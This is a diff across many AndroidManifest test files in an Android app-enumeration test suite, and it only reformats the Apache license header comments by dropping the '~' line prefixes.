+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
index 1e94c1b..d046e70 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
index 0126775..1d5f0bc 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
index e98a98c..07b2be6 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-sharedUser.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
index 2810c87..60a0c2d 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-targetsQ.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
index ce56a77..b5a88a8 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
index d63d1d5..d06e632 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAction.xml
index 87f8ab7..2f1cf69 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
index 1554de8..7fb4191 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesProviderAuthority.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
index b451455..dab3e2e 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesServiceAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
index cde61df..aabb703 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedActivityAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAction.xml
index 3ec5b39..72dfa6b 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
index 4562040..09755f0 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedProviderAuthority.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
index 26ef435..d1fdd13 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesUnexportedServiceAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-browsableActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-browsableActivity.xml
index 8cf6bfe..b08cc12 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-browsableActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-browsableActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-contactsActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-contactsActivity.xml
index a51d7f4..80138c5 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-contactsActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-contactsActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-documentEditorActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-documentEditorActivity.xml
index 1bfa17e..0f7e971 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-documentEditorActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-documentEditorActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-shareActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-shareActivity.xml
index 57efc78..e9a051b 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-shareActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-shareActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-webActivity.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-webActivity.xml
index 3355c35..74412cc 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-webActivity.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcard-webActivity.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcardAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcardAction.xml
index ffd8848..64e3af3 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcardAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesWildcardAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2020 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
